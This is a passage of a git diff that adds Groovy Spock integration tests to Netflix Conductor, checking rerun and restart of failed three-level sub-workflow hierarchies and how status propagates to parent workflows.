Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + !tasks[1].subworkflowChanged // flag is reset after decide + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A rerun is executed on the leaf workflow. + * + * Expectation: The leaf workflow gets a new execution with the same id and updates both its parent (mid-level) and grandparent (root). + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test rerun on the leaf-level in a 3-level subworkflow"() { + //region Test case + when: "do a rerun on the leaf workflow" + def reRunWorkflowRequest = new RerunWorkflowRequest() + reRunWorkflowRequest.reRunFromWorkflowId = leafWorkflowId + workflowExecutor.rerun(reRunWorkflowRequest) + + then: "verify that the leaf workflow creates a new execution" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + then: "verify that the mid-level workflow is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "verify that the root workflow's SUB_WORKFLOW is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the scheduled task in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A rerun is executed on the leaf workflow. + * + * Expectation: The leaf workflow gets a new execution with the same id and updates both its parent (mid-level) and grandparent (root). + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test rerun on the leaf-level with taskId in a 3-level subworkflow"() { + //region Test case + when: "do a rerun on the leaf workflow" + def reRunWorkflowRequest = new RerunWorkflowRequest() + reRunWorkflowRequest.reRunFromWorkflowId = leafWorkflowId + def reRunTaskId = workflowExecutionService.getExecutionStatus(leafWorkflowId, true).tasks[0].taskId + reRunWorkflowRequest.reRunFromTaskId = reRunTaskId + workflowExecutor.rerun(reRunWorkflowRequest) + + then: "verify that the leaf workflow creates a new execution" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + then: "verify that the mid-level workflow is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "verify that the root workflow's SUB_WORKFLOW is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the scheduled task in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + //endregion + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRestartSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRestartSpec.groovy new file mode 100644 index 0000000..3677493 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRestartSpec.groovy @@ -0,0 +1,458 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class SubWorkflowRestartSpec extends AbstractSpecification { + + @Autowired + SubWorkflow subWorkflowTask + + @Shared + def WORKFLOW_WITH_SUBWORKFLOW = 'integration_test_wf_with_sub_wf' + + @Shared + def SIMPLE_WORKFLOW = "integration_test_wf" + + String rootWorkflowId, midLevelWorkflowId, leafWorkflowId + + TaskDef persistedTask2Definition + + def setup() { + workflowTestUtil.registerWorkflows('simple_one_task_sub_workflow_integration_test.json', + 'simple_workflow_1_integration_test.json', + 'workflow_with_sub_workflow_1_integration_test.json') + + //region Test setup: 3 workflows reach FAILED state. Task 'integration_task_2' in leaf workflow is FAILED. + setup: "Modify task definition to 0 retries" + persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, persistedTask2Definition.description, + persistedTask2Definition.ownerEmail, 0, persistedTask2Definition.timeoutSeconds, + persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + and: "an existing workflow with subworkflow and registered definitions" + metadataService.getWorkflowDef(SIMPLE_WORKFLOW, 1) + metadataService.getWorkflowDef(WORKFLOW_WITH_SUBWORKFLOW, 1) + + and: "input required to start the workflow execution" + String correlationId = 'retry_on_root_in_3level_wf' + def input = [ + 'param1' : 'p1 value', + 'param2' : 'p2 value', + 'subwf' : WORKFLOW_WITH_SUBWORKFLOW, + 'nextSubwf': SIMPLE_WORKFLOW] + + when: "the workflow is started" + rootWorkflowId = startWorkflow(WORKFLOW_WITH_SUBWORKFLOW, 1, + correlationId, input, null) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the integration_task_1 task" + def pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + def rootSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (rootSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, rootSubWfTask.taskId) + } + + then: "verify that the 'sub_workflow_task' is in a IN_PROGRESS state" + def rootWorkflowInstance = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + with(rootWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "the mid-level subworkflow is decided so its first task is scheduled" + midLevelWorkflowId = rootWorkflowInstance.tasks[1].subWorkflowId + sweep(midLevelWorkflowId) + + and: "verify that the mid-level workflow is RUNNING, and first task is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + and: "poll and complete the integration_task_1 task in the mid-level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + def midSubWfTask = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (midSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, midSubWfTask.taskId) + } + leafWorkflowId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(leafWorkflowId) + + then: "verify that the mid-level workflow is RUNNING, and first task is in SCHEDULED state" + def leafWorkflowInstance = workflowExecutionService.getExecutionStatus(leafWorkflowId, true) + with(leafWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and fail the integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'failed') + + then: "the leaf workflow ends up in a FAILED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + } + + when: "the mid level workflow is 'decided'" + sweep(midLevelWorkflowId) + + then: "the mid level subworkflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + } + + when: "the root level workflow is 'decided'" + sweep(rootWorkflowId) + + then: "the root level workflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + } + //endregion + } + + def cleanup() { + // Ensure that changes to the task def are reverted + metadataService.updateTaskDef(persistedTask2Definition) + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A restart is executed on the root workflow. + * + * Expectation: The root workflow gets a new execution with the same id and spawns a NEW mid-level workflow, which in turn spawns a NEW leaf workflow. + * When the NEW leaf workflow completes successfully, both the NEW mid-level and root workflows also complete successfully. + */ + def "Test restart on the root in a 3-level subworkflow"() { + //region Test case + when: "do a restart on the root workflow" + workflowExecutor.restart(rootWorkflowId, false) + + then: "poll and complete the 'integration_task_1' task" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op1': 'task1.done']) + + and: "execute the SUB_WORKFLOW task on the root to create the new mid-level workflow" + def newRootSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (newRootSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, newRootSubWfTask.taskId) + } + + and: "verify that the root workflow created a new SUB_WORKFLOW task" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + def newMidLevelWorkflowId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newMidLevelWorkflowId) + + then: "verify that a new mid level workflow is created and is in RUNNING state" + newMidLevelWorkflowId != midLevelWorkflowId + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the integration_task_1 task in the mid-level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + def newMidSubWfTask = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (newMidSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, newMidSubWfTask.taskId) + } + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the two tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "the new leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the new mid level and root workflows are 'decided'" + sweep(newMidLevelWorkflowId) + sweep(rootWorkflowId) + + then: "the new mid level workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + + then: "the root workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A restart is executed on the mid-level workflow. + * + * Expectation: The mid-level workflow gets a new execution with the same id and spawns a NEW leaf workflow and also updates its parent (root workflow). + * When the NEW leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test restart on the mid-level in a 3-level subworkflow"() { + //region Test case + when: "do a restart on the mid level workflow" + workflowExecutor.restart(midLevelWorkflowId, false) + + then: "verify that the mid workflow created a new execution" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + and: "verify the SUB_WORKFLOW task in root workflow is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the task in the mid level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + def midRestartSubWfTask = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (midRestartSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, midRestartSubWfTask.taskId) + } + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'integration_task_1' + } + + when: "poll and complete the 2 tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the new leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + !tasks[1].subworkflowChanged // flag is reset after decide + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A restart is executed on the leaf workflow. + * + * Expectation: The leaf workflow gets a new execution with the same id and updates both its parent (mid-level) and grandparent (root). + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test restart on the leaf in a 3-level subworkflow"() { + //region Test case + when: "do a restart on the leaf workflow" + workflowExecutor.restart(leafWorkflowId, false) + + then: "verify that the leaf workflow creates a new execution" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + then: "verify that the mid-level workflow is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "verify that the root workflow's SUB_WORKFLOW is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the scheduled task in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + //endregion + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRetrySpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRetrySpec.groovy new file mode 100644 index 0000000..87dee9a --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRetrySpec.groovy @@ -0,0 +1,767 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.SUB_WORKFLOW +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class SubWorkflowRetrySpec extends AbstractSpecification { + + @Autowired + SubWorkflow subWorkflowTask + + @Shared + def WORKFLOW_WITH_SUBWORKFLOW = 'integration_test_wf_with_sub_wf' + + @Shared + def SIMPLE_WORKFLOW = "integration_test_wf" + + String rootWorkflowId, midLevelWorkflowId, leafWorkflowId + + TaskDef persistedTask2Definition + + def setup() { + workflowTestUtil.registerWorkflows('simple_one_task_sub_workflow_integration_test.json', + 'simple_workflow_1_integration_test.json', + 'workflow_with_sub_workflow_1_integration_test.json') + + //region Test setup: 3 workflows reach FAILED state. Task 'integration_task_2' in leaf workflow is FAILED. + setup: "Modify task definition to 0 retries" + persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, persistedTask2Definition.description, + persistedTask2Definition.ownerEmail, 0, persistedTask2Definition.timeoutSeconds, + persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + and: "an existing workflow with subworkflow and registered definitions" + metadataService.getWorkflowDef(SIMPLE_WORKFLOW, 1) + metadataService.getWorkflowDef(WORKFLOW_WITH_SUBWORKFLOW, 1) + + and: "input required to start the workflow execution" + String correlationId = 'retry_on_root_in_3level_wf' + def input = [ + 'param1' : 'p1 value', + 'param2' : 'p2 value', + 'subwf' : WORKFLOW_WITH_SUBWORKFLOW, + 'nextSubwf': SIMPLE_WORKFLOW] + + when: "the workflow is started" + rootWorkflowId = startWorkflow(WORKFLOW_WITH_SUBWORKFLOW, 1, + correlationId, input, null) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the integration_task_1 task" + def pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + def rootSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (rootSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, rootSubWfTask.taskId) + } + + then: "verify that the 'sub_workflow_task' is in a IN_PROGRESS state" + def rootWorkflowInstance = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + with(rootWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "the mid-level subworkflow is decided so its first task is scheduled" + midLevelWorkflowId = rootWorkflowInstance.tasks[1].subWorkflowId + sweep(midLevelWorkflowId) + + and: "verify that the mid-level workflow is RUNNING, and first task is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 